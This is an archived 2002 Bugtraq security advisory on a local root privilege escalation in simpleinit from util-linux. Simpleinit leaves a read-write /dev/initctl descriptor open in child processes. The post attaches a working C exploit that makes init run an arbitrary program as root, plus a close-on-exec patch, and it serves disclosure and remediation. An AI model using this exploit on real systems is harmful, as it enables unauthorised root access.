8591880 2002-06-12 23:36 -0400  /69 rader/ Patrick Smith <patsmith@pobox.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-13  15:13  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22602>
Ärende: simpleinit root exploit - file descriptor left open
------------------------------------------------------------
From: Patrick Smith <patsmith@pobox.com>
To: bugtraq@securityfocus.com
Message-ID: <3D081352.2080700@pobox.com>

Background
----------

Simpleinit is an init program for Linux systems.  It is included in
the  util-linux distribution.  More information about simpleinit is
available  at
<http://www.atnf.csiro.au/people/rgooch/linux/boot-scripts/>.

Problem
-------

Simpleinit leaves a file descriptor open in some child processes.

The descriptor is used by simpleinit to read messages from a FIFO 
(/dev/initctl); this FIFO is normally used by the initctl, need, and 
provide programs to pass instructions to simpleinit.  However, 
simpleinit opens the FIFO read-write, so any process that inherits the 
descriptor can pass instructions to simpleinit.

(Opening the FIFO read-write is not a bug; rather it ensures there is 
always a writer for the FIFO, so EOF is not reported.)

This has been observed in the simpleinit from util-linux 2.11r (the 
latest version).

Impact
------

A local user with a process that inherits the file descriptor can
easily  cause simpleinit to execute an arbitrary program or script
with root  privileges.  There are assuredly numerous other local
exploits.

There may also be some remote exploits.  For example, if an ftp server 
allows access to file descriptors through the /proc filesystem.

Not all processes inherit the file descriptors.  Getty processes
started  from lines in /etc/inittab do not, so users logging in on
the virtual  consoles will typically not have access to this exploit.
On the other  hand, if the boot scripts start xdm, then a user
logging in through xdm  will be able to use the file descriptor.

Exploit
-------

A sample exploit program is attached.

Patch
-----

A small patch is attached.

Vendor notification
-------------------

Richard Gooch <rgooch@atnf.csiro.au>, the simpleinit maintainer, was 
notified of this problem May 20, 2002.

On May 26, I learned of the simpleinit-msb variant 
<http://www.winterdrache.de/linux/newboot/>, maintained by Matthias 
Benkmann <m.s.b@gmx.net>, and notified him of this problem.  He released 
a patched version of simpleinit-msb the same day.  (Kudos for the fast 
reaction!)

-- 
patsmith@pobox.com
(8591880) /Patrick Smith <patsmith@pobox.com>/(Ombruten)
Bilaga (text/plain) i text 8591881
Bilaga (text/plain) i text 8591882
8591881 2002-06-12 23:36 -0400  /23 rader/ Patrick Smith <patsmith@pobox.com>
Bilagans filnamn: "x.c"
Importerad: 2002-06-13  15:13  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22603>
Bilaga (text/plain) till text 8591880
Ärende: Bilaga (x.c) till: simpleinit root exploit - file descriptor left open
------------------------------------------------------------
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "simpleinit.h"  /* From the util-linux source */

int main()
{
   int fd = 3;
   char buf[COMMAND_SIZE];
   struct command_struct* cmd = (struct command_struct*) buf;

   memset(buf, '\0', sizeof(buf));
   cmd->command = COMMAND_NEED;
   cmd->pid = 17;
   cmd->ppid = 16;
   strcpy(cmd->name, "/home/pat/x/foo");  /* foo will be run as root */
   write(fd, buf, COMMAND_SIZE);
   return 0;
}
(8591881) /Patrick Smith <patsmith@pobox.com>/------
8591882 2002-06-12 23:36 -0400  /22 rader/ Patrick Smith <patsmith@pobox.com>
Bilagans filnamn: "patch"
Importerad: 2002-06-13  15:13  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22604>
Bilaga (text/plain) till text 8591880
Ärende: Bilaga (patch) till: simpleinit root exploit - file descriptor left open
------------------------------------------------------------
--- login-utils/simpleinit.c.orig	2001-09-29 11:09:10.000000000
-0400
+++ login-utils/simpleinit.c	2002-05-23 22:16:07.000000000 -0400
@@ -203,6 +203,18 @@
 		if ( ( initctl_fd = open (initctl_name, O_RDWR, 0) ) < 0 )
 			err ( _("error opening fifo\n") );
 	}
+        if ( initctl_fd >= 0 )
+                if ( fcntl (initctl_fd, F_SETFD, FD_CLOEXEC) != 0 ) {
+                        err ( _("error setting close-on-exec on /dev/initctl") );
+                        /* Can the fcntl ever fail?  If it does, and we leave
+                           the descriptor open in child processes, then any
+                           process on the system will be able to write to
+                           /dev/initctl and have us execute arbitrary commands
+                           as root. So let's refuse to use the fifo in this
+                           case. */
+                        close(initctl_fd);
+                        initctl_fd = -1;
+                }
 
 	if ( want_single || (access (_PATH_SINGLE, R_OK) == 0) )
do_single ();
(8591882) /Patrick Smith <patsmith@pobox.com>/(Ombruten)